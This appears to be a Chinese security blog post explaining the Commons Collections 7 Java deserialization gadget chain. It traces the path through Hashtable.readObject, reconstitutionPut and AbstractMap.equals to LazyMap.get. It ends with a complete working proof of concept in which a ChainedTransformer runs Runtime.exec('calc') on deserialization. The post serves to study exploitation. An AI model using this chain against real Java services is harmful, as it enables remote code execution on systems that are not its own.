CC7

S1naG0u Lv2

本文分析了Commons Collections 7链的利用原理,通过AbstractMap.equals()方法触发LazyMap.get()执行ChainedTransformer.transform(),利用Hashtable.readObject()在反序列化时通过reconstitutionPut()方法触发equals()比较。

危险方法分析

CC1_LazyMap一样通过触发LazyMap.get()执行ChainedTransformer.transform()来执行危险方法

利用链分析

找到一处AbstractMap.equals()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

这里调用了m.get()m即来自传入的o,此处的o若为LazyMap即可完成利用连

因此向上寻找

找到了Hashtable.reconstitutionPut()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

此处传入了一个keyequals(),若控制此keyLazyMap即可完成利用链

同时前面控制了要调用e.keyequals()方法这个e来源于传入的tab

由于AbstractMap是一个抽象类,而HashMap刚刚好继承了它所以当此处的e.key刚刚好是一个HashMap就可以实现对AbstractMap.equals()的调用

那么我们再向上找哪里调用了reconstitutionPut

最找找到了Hashtable.readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}

这里在最后使用了一个reconstitutionPut(table, key, value);

我们控制table中的key(即反序列化前的hashtable中的keykey)是HashMapkey(即反序列化前的hashtable中的key)lazymap即可完成利用链

那我们回看writeObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private void writeObject(java.io.ObjectOutputStream s) throws IOException {
Entry<Object, Object> entryStack = null;

synchronized (this) {
// Write out the length, threshold, loadfactor
s.defaultWriteObject();

// Write out length, count of elements
s.writeInt(table.length);
s.writeInt(count);

// Stack copies of the entries in the table
for (int index = 0; index < table.length; index++) {
Entry<?,?> entry = table[index];

while (entry != null) {
entryStack =
new Entry<>(0, entry.key, entry.value, entryStack);
entry = entry.next;
}
}
}

// Write out the key/value objects from the stacked entries
while (entryStack != null) {
s.writeObject(entryStack.key);
s.writeObject(entryStack.value);
entryStack = entryStack.next;
}
}

可以看到key就是HashTable.put()时添加进去的key此处传一个lazymap,这会让上面所说的tablelazymap

然后lazymap中的key为一个hashmap即可达到此效果

也就是先LazyMap.decorate(hashMap, chainedTransformer)

hashtable.put(lazyMap, 1);

即可达到此效果

利用链构造

问题一:

在反序列化第一次调用reconstitutionPut方法的时候,tab[index]中是没有值的,导致e != null的判断不成立。所以不会进入for循环中,而是将keyvalue注册进tab

在第二次调用reconstitutionPut的时候,tab中才有内容,才会进入这个for循环,从而调用equals方法,所以要进行两次put

也就是

1
2
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);

问题二:

reconstitutionPut方法中,存在e.hash == hash这个条件。这个条件成立才会执行e.key.equals(key)

这里要搞明白reconstitutionPut的作用,我们来看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}



private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

这里reconstitutionPut其实就是读取反序列化后的每个键值对并将其存储到table(也就是reconstitutionPut的tab参数)中,然后通过计算每个键值对的hash值来确定是否重复(也就是这里e.hash == hash)

接下来我们跟代码

第一次for循环调用reconstitutionPut,由于只读了第一个键值对不会进入for循环进行e.hash == hash比较,第二次调用reconstitutionPuttab里有一个值,则只会循环一次进行e.hash == hash比较

我们要想执行equals,就必须让e.hash == hash条件成立,也就是第一次存入table的lazymaphashCode()和第二次存入的LazyMaphashCode()相同。

具体情况参考此处:

在java中有一个小bug:

1
"yy".hashCode() == "zZ".hashCode()

所以俩个lazyMap的值为yyzZ时才可通过检测

问题三:

Hashtable在添加第二个元素时,lazyMap2集合会“莫名其妙”添加一个元素(yy=yy

是因为Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMapget方法添加一个元素(yy=yy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}

// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}

addEntry(hash, key, value, index);
return null;
}

在此处,此时的keylazyMap2对象,而lazyMap2实际上调用了AbstractMap.equals方法,equals方法内部会调用LazyMap2.get()

此处会影响后续对hashcode的判断所以应该在put之后移除掉

注意:此处的说法来源于12-java安全——java反序列化CC7链分析我对此并没有深入研究

问题四:

类似于URLDNS,当LazyMap使用put

1
2
3
public Object put(Object key, Object value) {
return map.put(key, value);
}

此时的mapHashMap

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

在此处同URLDNS一样如果value中是chainedTransformer会导致提前触发chainedTransformer

为了避免此,所以可以采取先传入一个无效chainedTransformer或传入一个其他的无效实例

此处有俩个LazyMap,修改chainedTransformer方便一点,所以我们先传入一个无效的chainedTransformer再在最后利用反射将其修改为有效的

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
lazyMap2.put("zZ", 1);


Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");

Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field iTransformers = chainedTransformerClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);


serialize(hashtable);
unserialize("CC7.bin");
}
}

参考资料:

Java反序列化(九)Common Collection 7分析

12-java安全——java反序列化CC7链分析

https://paper.seebug.org/1242/#commons-collections-7

  • 标题: CC7
  • 作者: S1naG0u
  • 创建于 : 2025-03-05 17:06:59
  • 更新于 : 2025-08-12 17:23:06
  • 链接: https://s1nag0u.github.io/2025/03/05/CC7/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。